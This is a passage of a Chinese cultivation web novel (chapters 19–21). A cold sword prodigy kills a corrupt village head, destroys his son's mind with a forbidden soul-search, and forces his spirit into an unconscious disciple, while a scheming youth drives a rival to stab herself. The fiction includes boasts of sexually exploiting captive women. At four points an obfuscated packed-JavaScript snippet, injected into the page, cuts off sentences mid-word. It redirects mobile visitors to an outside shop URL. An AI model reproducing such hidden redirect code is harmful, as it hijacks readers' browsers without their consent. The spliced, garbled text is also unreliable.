怀卿剑又细又薄,压在江似脖颈上,只要执剑之人稍稍用力,便可以抹断他的喉咙。 谢寒卿不知是何时醒来的,雪一般冷的眼瞳注视着他。 江似却似乎松了一口气,他霎时收回灵力,同一种关切的语气问:“谢师兄,你和宁竹怎么了?” 他脸上毫无破绽,只有出于对同门的关心。 谢寒卿反手收回寒卿剑,淡淡说:“她没事,我们先出去。” 江似殷勤道:“谢师兄,我可以背着宁竹。” 谢寒卿弯腰抱起宁竹:“不必。” 他捏了个法诀,浮动在空气中的那些修士如同被一条无形的线串联起来,跟在他们身后。 江似落在后面,恨恨看了一眼谢寒卿,提步跟上去。 他们一路沿着岩洞折返,待回到屋子的时候,谢寒卿率先发现这屋子里的门窗都消失了。 整间屋子变成了一个诡异的密闭方盒,地上的符文也渗出血红的色泽。 江似挑起眉梢:“我的修为被压制了,这是什么玩意儿?” 谢寒卿表情不变,他的修为亦被压制到了筑基期。 但布阵人算错了一点。 今日入阵之人,是谢寒卿,修真界百年一遇的剑道奇才。 谢寒卿将宁竹交给江似:“你们去一旁。” 方才交给宁竹的乾坤袋就散落在地上,谢寒卿召出防御法器,将他们二人保护起来。 江似有些不悦,但还是躲在了防御法器之后。 在此人面前,他不想暴露太多。 江似冷眼旁观,等着看谢寒卿要怎么破开阵法,逃出这个屋子。 小仙君动了。 他单手持剑,朝着阵法斩去! 袖角的青莲流云纹在暗色中闪动着细碎的光,墨发间的天玄离尘带无风自动。 磅礴的剑意自剑下挥出,如同水波一圈圈荡开。 江似和宁竹面前的高阶防御法器被震碎了几件。 江似瞳孔微微一缩,好强的剑意。 这阵法压制修为,他现在应该只有筑基期吧?也能驱遣这么强大的剑意? 江似感觉到体内强压的燥意又在蠢蠢欲动。 他贪婪地看了一眼怀中的宁竹,如果得到宁竹体内之物的人是他…… 阵法出现了裂纹。 谢寒卿再度挥出一剑,与此同时,淡淡睨了江似一眼。 江似背脊一僵。 不,宁竹体内的东西被谢寒卿的元神压制,只要自己一动,他定然会发现。 他得徐徐图之。 屋子外,秦宣杵着拐杖,浑浊的眼睛里闪动着贪婪的光。 一旁的秦虎反而面露忧色:“爹,听说这个叫谢寒卿的很厉害,阵法会不会压制不住他?” 秦宣的拐杖重重敲了下地:“厉害又如何?天丝神女教的阵法,一个修士还想破?” “你忘了,多少修士都命陨于此阵之下。” 秦虎隐隐不安:“孩儿知道,只是近日变数丛生,先是神女力量大不如前,爹您的腿……而后又是那陶知儿从天丝神女手下逃出来,害我们死了几个兄弟……” 秦宣骂他:“蠢货,就是因为神女力量大大减弱,需要新鲜修士的灵力来供奉她,我们才会听从她的命令故意接二连三引来妖兽,好叫这些自命不凡的修士出手相助,借此让神女汲取他们的灵力。” “可惜了上一次那只鬼面妖,来的修士不够强,神女的神力恢复不多。” 秦宣道:“这个谢寒卿,乃是两大世家之后,年纪轻轻就已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892089|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是化神修士了,神女定会对他满意。” 秦虎打了个寒战:“那么厉害的身份……若是死在这里我们炎陵庄会不会惹上麻烦?” “蠢货!神女自然有数!除了那几个路过的散修,哪个有宗门的修士死在这里了?” 他面皮抖动,狞笑道:“只要人活着就行,至于是灵脉受损,还是灵根被毁,那就不关我们的事了。” 秦虎眼底也浮现出恨意:“爹说得对,凭什么他们修士天生灵根,就可以踏上青云大道,寿与天齐,而我们这些凡人就只能是蝼蚁?” 秦宣安抚他:“放心,只要神女在,你我都是不死之躯。” “这一批修士里有几个生得貌美的,那姓白的似乎是个什么小姐,不好惹,爹已经给你准备了另一个姓谭的。” 他拍了拍秦虎的肩:“抓紧时间让她诞下子嗣,修士之子更有可能是修士,炎陵庄那么多年,也该出一个修士了。” 秦虎私心里其实更喜欢白仙子,或者是姓宁的那个,她们二人长得最好看。 可惜一人有家族庇护,另一个今天要死在这里面了。 罢了,只要有女修可供他使用就好。 之前他和爹爹对神女太过敬重,不敢染指要供奉她的修士。 可随着神女神力衰减,他们也起了私心,悄悄留下一两个女修,让她们怀上自己的子嗣。 毕竟天丝神女出现得突然,说不定哪一天也消失得突然,总要为自己打算。 可惜了这些女修诞下的孩子,没一个有灵根。 兴许是散修本就资质低下的原因,这一次爹爹好不容易诱来天玑山的弟子,自然不能再错过。 谭仙子相比那两个虽然略微逊色了点,但也貌美如花,秦虎正心猿意马,忽听得巨大的一声! 他吓得一个哆嗦,忙抓住他爹的袖子,然而下一刻,秦虎面如金纸,仿佛被人夺了魂一般,愣愣看着面前。 他们费劲心思取来昆仑土筑成的房子被劈砍出一个巨大的窟窿。 素月分辉,尘埃点点,一个着白衣,负长剑的小仙君立在暗色中,面如霜雪,眼神冰冷。 “……爹,爹,他,出来了……” 在秦虎细若蚊呐的声音中,秦宣已经先一步跪了下来,他浑身颤抖,谄媚道:“仙,仙君无事!太好了!” 他跪着往前挪了两步:“仙君!仙君我们正要来救你们!” 回答他的,是落在他脖颈上的冰凉长剑。 一道带着讥笑的声音在谢寒卿后方响起:“秦庄主如此好心,这么说来我们还该好好谢谢你?” 秦宣抬头一看,见一个绑着高马尾的少年怀中抱着一个少女,笑盈盈看着他。 19. 第 19 章 秦宣整个人瘫软在地,完了。 他们全须全尾从困仙阵里出来,说明天丝神女已然遇难。 ……他的依傍啊!!没了神女,谁来给他续命! 人之将死,会爆发出巨大的求生欲,秦宣跪在地上,连连磕头:“仙君!仙君饶命!” 他一五一十将天丝神女如何降临炎陵庄,又是如何蛊惑妖兽靠近,让他放出消息诱来修士,让他们成为供奉。 秦宣隐去自己和天丝神女的交易,涕泪俱下,全然将自己塑造成一个被妖邪操控的可怜人。 谢寒卿的眼神如同一层覆着月色的薄雪。 他听完秦宣狡辩,忽然问:“秦庄主,为何这些女修都有被当作炉鼎的痕迹?” 他话音落,隐在暗处的修士尸身们俱都漂浮过来,将秦宣和秦虎团团围住。 她们面色灰白,如同雕塑,瞪着空洞的眼,仿佛在质问。 江似看着缭绕在秦宣身子周边的红色絮状物,突然眯了眯眼。 秦宣脸上的惊惧不见了,取而代之的是一种愤恨的,张狂的神色。 他嘿嘿笑起来:“炉鼎?我等凡人,又无灵根,无法采补,不过是借助这些女修滋养身体罢了,可惜了陶知儿,真乃尤物……” 秦虎愕然睁大眼,忙打断他:“爹!!” 这些是他们父子二人最深的秘密,他如何能说出来! 老者脸上却露出一点回味的神色:“老夫丧妻已逾二十载,但遇到这陶知儿之后,却能夜御三女,一树梨花压海棠,销魂滋味,不过于此!” 他面上又浮现出嘲讽之色:“可笑那陶知儿,竟以为老夫只是贪图她的美貌,竟将一张脸尽数毁去。” “笑话!生了一副下贱的身子,只毁掉脸有什么用?我父子二人还不是照常享用?” 秦虎一张脸臊得通红,他试图上去阻止他爹再胡言乱语,却被一道无形的力量压制住,动弹不得。 秦宣全然不惧,如同狂热的信徒高举双手:“老夫已经知道今日是活不成了,神女消亡,尔等罪人,定遭天罚!” 冰凉的长剑抹他的脖颈。 鲜血噗呲四溅,没有沾染谢寒卿衣袍半分,秦宣瞪着一双浑浊的眼,缓缓倒地。 谢寒卿收起怀卿剑,双指为并,虚虚抹去剑上鲜血:“如你所愿。” 江似懒懒看着他身周逐渐消散的红色絮状物,只觉凡人真是无趣,连欲念都那么直白。 他看一眼,便忙不迭将最深处的秘密都抖落出来。 又哪里像修士,表面上看起来一个个清心寡欲,实则…… 想起齐玉明和白晚,他讽刺地勾了下唇角。 秦虎的□□处已然湿了大片,他抖如筛糠,用一种鱼死网破的语气说:“你若是杀了我,你们那个叫谭芸的弟子就永远回不来了!” 江似的眉梢动了下,他看向谢寒卿。 小仙君面无表情,看不出丝毫紧张。 他们的沉默仿佛纵容了秦虎的嚣张,他拧笑道:“放我走!我安全之后就告诉你她到底被藏在了哪里!” “我知道你们修士有各种古怪的感应手段,但我告诉你,没用。” “神女所赐之物,又岂是区区修士能破解——” 一股无法抵抗的力量直直钻入了秦虎脑中。 如同挟着浩荡百川,冰凉雪意在他脑海中翻搅,搜寻。 秦虎的身子控制不住抽搐起来,整个人眼珠上翻,口吐白沫,场面极为渗人。 江似眼瞳微微一缩。 搜神术,谢寒卿他……竟当着他的面使用禁术? 不知何时又开始下雪。 小仙君被鹤冠高束的长发上落下一层薄雪。 他眼瞳淡漠,冷白指骨微抬,表情神性又疏离,全然不似在施展一道邪术,只是认真的,仔细的在那些龌龊而纷繁的记忆中搜寻他要的东西。 一道带着颤意的声音响起:“……谢师兄?” 江似回过头,见白晚,齐玉明,还有另外两个天玑山弟子站在原地,眼神惊恐看着正在施展禁术的谢寒卿。 他心底快意不已,几乎就要开口介绍谢寒卿用的是什么禁术。 但不需要了。 从他们脸上的表情可以看出来,谁不知道谢寒卿在做什么呢? 扑通。 秦虎身子绵软地倒了下去,涎水糊了满脸,身下一阵腥臊味弥漫开。 搜神之所以是禁术,正是因为此术会生生搅乱人的神识,若是操控不好,修为高者会神识紊乱,修为低者则会直接变得痴傻,且不可逆转。 若用在凡人身上……此人断断承受不了谢寒卿的灵力,已然是活不成了。 谢寒卿并未多看秦虎一眼,偏了偏头,声音很淡:“是谭芸失踪了么?” 白晚身子微微颤抖,她嘴唇动了又动,忽然看到谢寒卿冷白脖颈处有一道刺目的红。 像是……吻痕。 齐玉明头皮发麻,声音干涩:“是,方才我们寻遍四处,都找不到她人。” 他眼神闪躲,也在看那道红痕。 似乎注意到他们的视线,谢寒卿抬手轻轻碰了下脖颈处,红痕消失不见,他道:“走吧,我知道她在哪。” 他们跟着谢寒卿,在一处岩洞中找到了谭芸。 她被一条红金交织的绳索困住,仍然在昏迷不醒。 齐玉明帮她解开绳索,好奇道:“这是什么东西,竟能隐匿修士的气息?难怪我们寻遍了各处也找不到她。” 绳索漂浮到谢寒卿手中,冰蓝色的灵火挟裹而上,将其烧成灰烬。 齐玉明心中惋惜,但又不敢开口置喙。 他知道其他人也如此,自从看到谢寒卿使用搜神术之后,他们对这个一直敬仰敬重的天才,多了一丝恐惧。 使用禁术被同门撞破,却丝毫不见惊惶。 仿佛他私下里……已经使用过多次。 谢寒卿带着众人返回了晓天山庄,将来龙去脉说与众人听。 白晚奚落道:“天丝神女?一个邪祟,也敢自称为神?” 她满不在乎说:“这邪祟的确有些古怪,但谢师兄那么厉害,自然不堪为对手。” 齐玉明问:“谢师弟可看到那所谓神女的本相了?” 谢寒卿眼睫都未抬一下:“并未,我先行捣毁了她的灵元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900490|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,邪祟已化为齑粉。” 一双黢黑的眼瞳看向谢寒卿。 江似听着白晚对他连连夸赞,状似附庸:“谢师兄这般厉害,又怎么可能解决不了一个邪祟?” 谢寒卿淡淡睨他一眼。 他的眸中分明什么也没有,但轻易就惹恼了江似。 他暗自咬了下牙,心底骂他和宁竹碍事。 若非他们二人多事,宁竹体内那东西合该成为他的,就如同这对邪瞳,他定能将那玩意儿好好利用起来! 又怎么会落入现在这样尴尬的局面? 江似看了一眼昏迷不醒的宁竹,冷哼一声,踢门而出。 白晚瞪着他的背影,很大声说:“一个拖累,脾气还那么大!” 风雪倒灌,卷入屋中,齐玉明起身将门掩上,问谢寒卿:“说来他们二人为何会跟谢师弟在一起?” 谢寒卿淡淡道:“凑巧遇上而已。” 见他不愿透露过多,白晚不满道:“谢师兄,那么凶险的邪祟,你不叫我们帮忙就算了,怎么还带着两个拖累前去。” 谢寒卿忽然看了她一眼。 白晚手臂上起了一层细密的疙瘩,她抿了抿唇,小声说:“……我说的也是实话,你看她,不仅没帮上忙,还把自己弄成这样。” “她帮上忙了。” “正是因为那邪祟,她才陷入昏迷。” 白晚还欲争辩,对上他那双色若琉璃,寒冰般剔透的眼,霎时缄口。 不知为何,谢师兄向着那个凡人施展搜神术的场景一次又一次浮现在脑海中。 仿佛昔日她记忆中那个光风霁月,高山仰止的谢师兄都是一层幻像,他本该这般蔑视规则,漠视生命。 白晚换了个话题:“那些遇难的修士要怎么处理?” 齐玉明道:“都是些散修,无门无派,被骗到此处丢了性命,委实可怜。” “要我看不若把他们带回天玑山下安葬,也好有个栖身之处。” 非本宗弟子不得入本宗坟茔,但这些年魔修肆虐,妖鬼横行,死于非命的人不少。 清虚真人特命人在天玑山下修建了一座陵园,以收容这些无处可归的可怜人。 谢寒卿颔首:“此事齐师兄看着办就好。” 白晚嫌弃地瞥了齐玉明一眼。 贪图名利的小人,邪祟又不是他诛杀的,这些人又不是他救出来的,抢什么功? 也就是谢师兄从来不在意这些身外之名。 她一想到此人在自己身上又摸又抱,便觉得怒火中烧。 逼他起了誓又如何,能抹掉她做的那些事情吗要不是顾及他是闻道师兄的弟子,她真想现在就把他杀了,以绝后患。 想到此事,白晚又觉得心脏沉沉坠下去。 昨晚看到此事的人,除了谢师兄和宁竹,还有那个江似。 谢师兄品性高洁,自是不会诋毁她的名誉,宁竹叶算了,看上去是个没什么心眼的傻子,姑且饶她一命。 但那个江似……嚣张跋扈,性情恶劣! 白晚想到什么,面上渐渐浮现出一丝甜笑:“谢师兄,雾妖还没除呢,我们什么时候去诛妖?” 20. 第 20 章 谢寒卿清楚,炎陵庄祸根在于天丝神女,如今祸根已除,雾妖不足为惧。 宁竹状态极差,谢寒卿不想耽搁,道:“今日。” 除了还在昏迷的宁竹和谭芸,剩余几人即刻动身,融入了沉沉黑雾中。 此前他们反复搜寻却找不到雾妖本体所在,许是因为天丝神女帮着遮掩。 这一次不出半个时辰,谢寒卿便发现了雾妖踪迹:“在西南方。” 一行人穿过浓雾追去。 待到一片枯林,谢寒卿率先下了剑:“雾妖本体就在此处。” 白晚主动说:“谢师兄,雾妖能将自己凝聚成拳头大小,不好搜寻,我们不若分成几组?” “我和江似一组。” 谢寒卿的眸光在她脸上定了一瞬,叫来修为仅在他之下的弟子:“周师弟,你与他们二人一组。” 三个人很快顺着雾气进了枯林。 江似落后他们二人半步,冷笑着看白晚要干什么。 才进去不久,一个矮坡后忽然传来异响,还不等众人查看,另一个方向又传来一声异响。 白晚拿定注意:“陈师兄,你去那边看看,我和江似去另一边。” 周平没有犹豫,飞身而上,越过矮坡。 江似却站在原地,似笑非笑看着她。 白晚被他看得有几分恼:“你看什么!还不去查看异响啊。” “自然是在等白大小姐。” 少年眼角含着笑,如同弯钩,漾出些烂漫之色。 白晚一早就发现江似的瞳色比旁人要黑上三分,黑得看不见底,仿佛所有情绪都被藏在下面。 偏他时时带着笑,便生出三分危险的邪气。 白晚舌头打了结:“……走,走啊。” 两人一前一后朝着响声传来的方向走去。 少年高出白晚一个头,身形清瘦,高马尾在空气中微微甩动,正是风流意气少年郎。 白晚暗自咬牙,偷偷召出沉乌匕首握在手中。 此物锻造过程中融入了上古剑神的剑意,剑气入体,能抑制灵力,乃是对付修士的好东西,只要她趁机捣碎他的灵丹,此人必死无疑。 她没想杀人,但都怪他看到了不该看的东西。 白晚狠下心来,看准时机,以灵力挟裹着沉乌匕首直直朝他刺去! 白晚瞳孔一缩。 江似动作奇快,不知何时伸手抓住了匕首,眼神阴沉看着她。 他手掌握住刀刃,血淅淅沥沥滴下,江似仿佛不觉得痛一般,抓着匕首往前拽,白晚整个人被他拖着往前。 江似微微靠近她,脸上又浮起一个笑:“白大小姐就这么想要我死?” 起了风,少年夹杂着点点银丝的发扫过她的脸,带来一丝微妙的痒意。 很快白晚惊恐地瞪大了眼。 那丝痒意慢慢攀爬上她的背脊,她的头皮,甚至侵入她的大脑,操控她的神识。 江似不知何时已经松开了手,殷红的血滴滴答答顺着他的手掌蜿蜒,脚下薄雪被染得一片惨红。 他浑然不觉疼痛,脸上反倒带着松快的笑意:“白晚,昨夜你想做的事,何不继续?” 一缕诡异的黑如同游蛇,缭绕在白晚身周的红色絮状物中。 白晚脸上先是迷茫,而后变成一种强烈的渴望:“继续……” 江似蛊惑道:“谢寒卿那样的人,要怎么才不会拒绝你?” 白晚身子微微摇晃:“我……我不知道。” 她眼神里泛着空,眉头蹙起:“姐姐什么都比我好,但他不喜欢,他不喜欢……” 她的表情又变得愤恨:“不,她哪里比我好?不过是当年谢师兄选中了她,凭什么……” 江似循循善诱:“你的机会不就在眼前么?你姐姐不在。” 白晚露出自我厌弃的表情:“不,不能像昨天……” “那受伤如何?”江似漫不经心说:“身受重伤,命悬一线,谢寒卿定不会坐视不理。” “他会亲手把你抱回天玑山,替你疗伤,日夜照顾你……” “朝夕相处,日夜相对,你不想要吗?” 白晚开始摇摆:“朝夕相处,日夜相对……” “武器就在你手中,拿起那把匕首……” 白晚似乎下定了决定,抬起匕首就往自己的灵丹刺去! “铮——” 金石相交,沉乌匕首被弹开,一人踏破正在消散的黑雾而来。 白晚已经软软倒在了地上,小腹处渗出一片殷红。 齐玉明惊呼:“白师妹!” 他忙冲上前检查,片刻后面色大骇:“谢师弟,白师妹体内不知何故有一道剑意在四处翻搅,你快过来看看!” 谢寒卿箭步上前查看一番后,目光落到掉在一旁的沉乌匕首上。 江似适时开口:“谢师兄,白道友到底是怎么了?” 齐玉明这才注意到一旁的江似,他眉毛倒竖:“你和白师妹在一起,连她是怎么受伤的都不知道?!” 这时周平回来了:“黑雾消散了……诶?谢师兄,齐师兄?” “白师姐怎么了?江师弟,你的手怎么也受伤了?” 齐玉明这才注意到江似的手鲜血淋漓,好似近身搏斗过一般。 见谢寒卿要去拿那把匕首,江似连忙阻止:“谢师兄!小心那把匕首!” “方才我和白道友前来查看异响,她忽然发了疯般抓着那把匕首朝我刺来,我闪躲不及,只好徒手相挡,不料这白道友转手就用匕首刺向自己……” 江似脸色煞白,整个人摇摇欲坠:“这匕首……有古怪。” 谢寒卿看他一眼,当即道:“雾妖已除,即刻回天玑山。” 齐玉明抱起白晚,却听谢寒卿说:“齐师兄,你我去南陵城走一趟。” “周师弟,你带着诸位弟子先回。” 江似正要走,一道沉沉的视线忽然落在他背上:“江师弟,你和宁竹,同我们一起。” 江似身形微僵,转过脸去:“去南陵城?” 谢寒卿道:“如若我没猜错,匕首里有上古大能的剑气,剑气已经进入你的体内,若不除,会对修行有碍。” 至于宁竹……白家有一物,或可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16902201|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探明她体内红丝的来路。 江似眼睫不自觉地颤了下,他慢吞吞道:“好啊。” 修真界三大世家,分别位于梦京,淮水和南陵。 梦京多雪,落凰开遍;淮水四季多春,柔水醉月;而位于西边的南陵城,便是一副天山云阔,飞沙如雪的景象。 齐玉明是第一次来到南陵城,他看着那些连绵不绝的白色沙丘,以及矗立在正中心的古朴城墙啧啧称奇。 “听说南陵城最初只是一片寸草不生的荒地,妖兽横行,人迹罕至,都是白家祖上那位剑修大能带领白家人一砖一石建起了这座无坚不摧的城池。” 因为宁竹和白晚都在昏迷中,一行人同乘放大了数倍的点青剑,江似听齐玉明说话,懒懒抬了下眼。 谢寒卿站在剑首,负手看着下方越来越近的南陵城。 江似如同一条伺机而动的毒蛇,盯着垂在他身后的天玄离尘带看。 第一次见他,便是在这南陵城,他发上便绑着这根天玄离尘带,如今辗转十载,依然不变。 江似自然知道不可能是同一根。 这发带取自梦京独有的天玄彩鸟尾羽中最洁白的一根,数千根尾羽才能织成一根,水火不侵,养神安体,价值千金。 谢寒卿的母亲才诞下他便撒手人寰,听说这是他母亲在病中为他亲手编织的礼物。 姜沁月死后,谢家人延续了一个母亲的心意,每年都会在他生辰之际送上一根天玄离尘带给他。 谢寒卿与父家谢氏,母家姜氏关系都不好,世人都道谢寒卿只是性子冷淡,实则心系家人。 这根终年不离身的发带便是最好的佐证。 江似只觉得他们愚蠢。 心系家人?简直就是笑话,一个一年到头不会回家一次的人,也叫心系家人? 况且谢寒卿出身名门,还有个做家主的父亲,偏偏要离开谢家千里迢迢奔赴天玑山修行。 这其中有什么龌龊……恐怕只有他谢家人知道。 江似的眼神几乎变得有些怨毒。 何止是龌龊呢?什么狗屁倒灶的仙门,分明是一群蛇虫鼠蚁,也好意思自诩博爱苍生? 谢寒卿看着下方的雪丘,亦在回忆。 这是他第三次来到南陵城。 第一次,白家家主五十岁生辰,他随谢家前来赴宴; 第二次,也是来参加白家家主六十岁的生辰宴。 两次给他留下的印象都不算好。 第一次,他亲眼目睹还不是他师尊的清虚真人斩杀了一个比他还小的孩童。 第二次,在众人瞩目下,他不得不接过白家家主所赠的礼物,也就是那枚凤和白玉簪。 眨眼又是两年,那个孩童坟前的飞楹花已经开谢两轮,而凤和白玉簪也被他归还给白暮。 若非要借用白家家宝,他决计不会来这第三次。 白家人早已收到传音符,此时已经在云隐居门口侯着了。 白暮也收到了消息,最快速度赶了过来。 谢寒卿敛去眉宇间的淡淡躁意,回头看了宁竹一眼,操控着点青剑缓缓往下。 21. 第 21 章 生着一对细眉细眼的白夫人率先冲上来,含泪道:“晚儿!” 白家主是个相貌儒雅的中年男子,他咳嗽了一声:“寒卿,一路上辛苦了,不必担心,这沉乌匕首乃是我赠给小女的,里面封存的是我白家先祖的剑意,只需白家本宗弟子加以疏导,便可化解她体内纵横的剑意,都是小女误事,累得你挂心。” 谢寒卿早猜到解决办法,只说:“是我没保护好白师妹,炎陵城有雾妖作祟,白师妹妖邪侵体,故而才会伤及自身。” 他示意一旁的江似:“这位江师弟也不小心被匕首所伤,还需伯父费心加派人手替他治疗。” 江似此时低垂着眉眼,一副乖顺的模样,白家主只是随意看了他一眼,便满口答应:“寒卿放心。” 他表情和蔼对他说:“小友跟着白晚一起去吧。” 这剑气搅得江似生疼,他倒也并未推拒,安静地跟着去了。 白暮站在一旁,死死抓着手中剑,佯装淡然问:“谢师弟可有受伤?” 白家主注意到她的称呼不再是“寒卿”,看她一眼,不着痕迹问:“是啊,寒卿可有受伤?” 谢寒卿:“多谢伯父和师姐关心,我无事。” 白家主这才注意到后面被齐玉明搀扶着的宁竹,“这位是……” 白暮看清宁竹之后,脸色变得很难看。 她早已听说有两个筑基期弟子误领了珠玑阁的任务,不料会是她。 齐玉明率先开口抱怨:“是个筑基期弟子,误领了金丹期弟子才能领的任务,真是添尽麻烦。” 谢寒卿却说:“这是宁竹师妹,因为救我受了伤,晚辈来此,也是特地想求伯父一件事。” 齐玉明的脸霎时涨得通红。 白家主的目光在他们几人间转了一圈,笑道:“寒卿莫要与伯父客气,不知这小友是受了什么伤?” 谢寒卿隐去一些细节,没提他以元神压制宁竹体内红丝,告诉了他天丝神女的事情。 “如今红丝已然侵入宁师妹的肺腑经脉,晚辈试着去除,却无法彻底消灭。” “晚辈知道白家有一物,名为万象罗盘,此物可寻觅万物的踪迹,故而想借来一用,看看这天丝神女到底是何方来物,也好找一些线索。” 白家主颔首:“莫要客气,出现了这种诡异的妖孽,白家自然得出一份力。” “诸位且先移步,花厅略备茶水,以供休憩。” 白家主并未耽搁,很快便命令人取来了万象罗盘。 万象罗盘通体呈金色,罗盘主体雕刻着缩小版的地图,上面悬浮着一根细长的金色指针,能够变长变短,自由伸缩。 谢寒卿拿出存放在乾坤袋中的红丝,放在了罗盘之上。 罗盘细长的金色指针飞速转动,最后落到了北方。 众人的目光凝在此处。 昆仑山。 谢寒卿记得秦家父子交谈时曾提过,那古怪的屋子是取昆仑土所筑,看来这天丝神女也与昆仑山有千丝万缕的联系。 白家主捋了捋胡须:“昆仑山乃是上古众神聚集之地,这天丝神女约摸是偷得哪位上神的一点神力,却借此作恶多端,危害人间。” “伯父所言极是,多谢伯父借用此物,后续我也好去寻找破解她体内红丝的办法。” 白家主注意到一旁沉默的白暮,轻咳了一声:“若有什么白家能帮的,你尽管开口便是。” “白暮,带着寒卿和齐小友去休息吧。” 如同游魂一般的白暮好似这才反应过来:“两位师弟跟我来吧。” 白家单独辟出三间院落来安置他们,宁竹已经被送到落月轩,江似和齐玉明在另一间院落,谢寒卿则单独住在落萧轩。 齐玉明看出白暮和谢寒卿有话要说,这一次识趣的先躲到了院落里。 青石板铺就的地面上积着一层薄雪,园中以灵力维持的草木却苍翠欲滴。 两人一前一后跨过矮桥,白暮终于哑声开口:“她……宁师妹是怎么受的伤?” 谢寒卿语气很淡:“我一时疏忽,险些被那天丝神女击中,宁师妹警觉,替我挡下一击。” 白暮其实很怀疑他的说辞。 一个筑基期弟子,怎么可能有这么大能耐比谢寒卿反应还快? 但她还是选择相信谢寒卿的说法。 白暮硬邦邦说:“既然是为了救你而受伤,她的事我一定会帮忙。” 谢寒卿沉默了片刻:“多谢师姐。” 白暮点了下头:“你好好休息吧,我走了。” “二师姐。” 白暮眼神乍然亮起来,她回过头,看着谢寒卿。 小仙君头顶是积雪的屋檐,檐下玄沙风铃在轻轻晃动,天色澄蓝,他的眼瞳却很淡漠。 “既然这次你我都在,不若尽早跟伯父说,我已将凤和白玉簪还给了你。” 白暮眼神微黯,死死咬住唇,最后反而笑了起来:“谢寒卿,有没有人告诉过你,你这个人真的很……” 无情。 她到底没说出那两个字,扬长而去。 水中红鲤摆尾,溅起扑通一声水花。 谢寒卿在原地站了片刻,折身去了落月轩。 绫罗软被簇拥着面色苍白的少女,她唇色很淡,整个人几乎泛起一种透明的光泽。 好像快要死掉了。 谢寒卿盯着她看了半晌,抬手碰了一下她的脸。 凉的,还带着一丝柔软。 和死人是不一样的。 死人的皮肤僵硬,粗糙,有一种蜡状的质感。 冷白的指骨在她的脸颊上游移,如同一条冰冷爬行的蛇。 可惜除了柔软的触感,她与死人已经无异了。 那双眼睛不会轻眨,紧抿的唇也不会絮絮叨叨说话。 谢寒卿将灵力探入了她的体内。 元神压制下的红丝蠢蠢欲动,他明白只要他将元神撤走,这些红丝立刻就会占据她的身体。 可正因为他的元神太过强大,压制在她的灵丹,所以宁竹迟迟无法醒来。 若是一直这么下去,于她的元神亦是有损。 还有什么办法? 某个压抑在心底的念头逐渐探出爪牙。 这是禁术。 若是不成功,她可能当即就会神魂俱灭,灰飞烟散。 可为何不试一试呢? 他可以做到的,不是么? 他的元神是外来之物,自然会引起抗拒,只要宁竹接纳了他的元神……两者合二为一,她自身就能变得更强大,以自己的力量去压制红丝。 她不会愿意被红丝控制身体。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906330|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在炎陵庄时,她在用最大的努力和红丝对抗。 自己现在……不过是在帮她。 谢寒卿没有犹豫太久。 他聚精会神,直直冲破障碍,闯入了宁竹的识海。 每个人的识海都不同,有人的花团锦簇,有人的荒芜寂静。 宁竹的识海是一片幽深无边的海。 海上飘荡着一只孤零零的小舟,不停的往前走,可是周边大雾弥漫,看不清来路,亦看不见归途。 谢寒卿有些惊讶。 识海乃是一个人心中最深的渴望所幻化,他以为宁竹的识海会是一片漂亮的花海,或是一间温馨的庭院,唯独没想到宁波的识海会是这般。 谢寒卿稍稍看了一会儿,开始放出自己的元神。 他的元神太过强大,在她的识海里掀起一场暴风雨。 海水变得黢黑一片,天际滚动着沉沉怒雷,紫电交加,波涛汹涌。 谢寒卿的元神渐渐凝聚成一个虚幻的白色人影,悬浮在海面之上。 那人背后亦然飘着一根长长的天玄离尘带,俨然是谢寒卿的化身。 那漂浮的白色人影忽然动了,他手中幻化出一柄细长的剑,朝着自己的心脏处剜去。 元神自然不会流血,床榻之上,谢寒卿的唇角却溢出一丝乌黑。 元神在抗拒,在哀凄,但谢寒卿却操纵着他,完完整整将一颗心剖了出来。 心脏泛着白色的光芒,微微跳动着。 小仙君眼神失焦,操纵着元神将心脏投入海中。 识海之内,元神的胸膛处出现了一个巨大窟窿,往外流淌金色的光。 仿佛痛极,他蜷缩着倒在了海面上摇晃不休的孤舟之上。 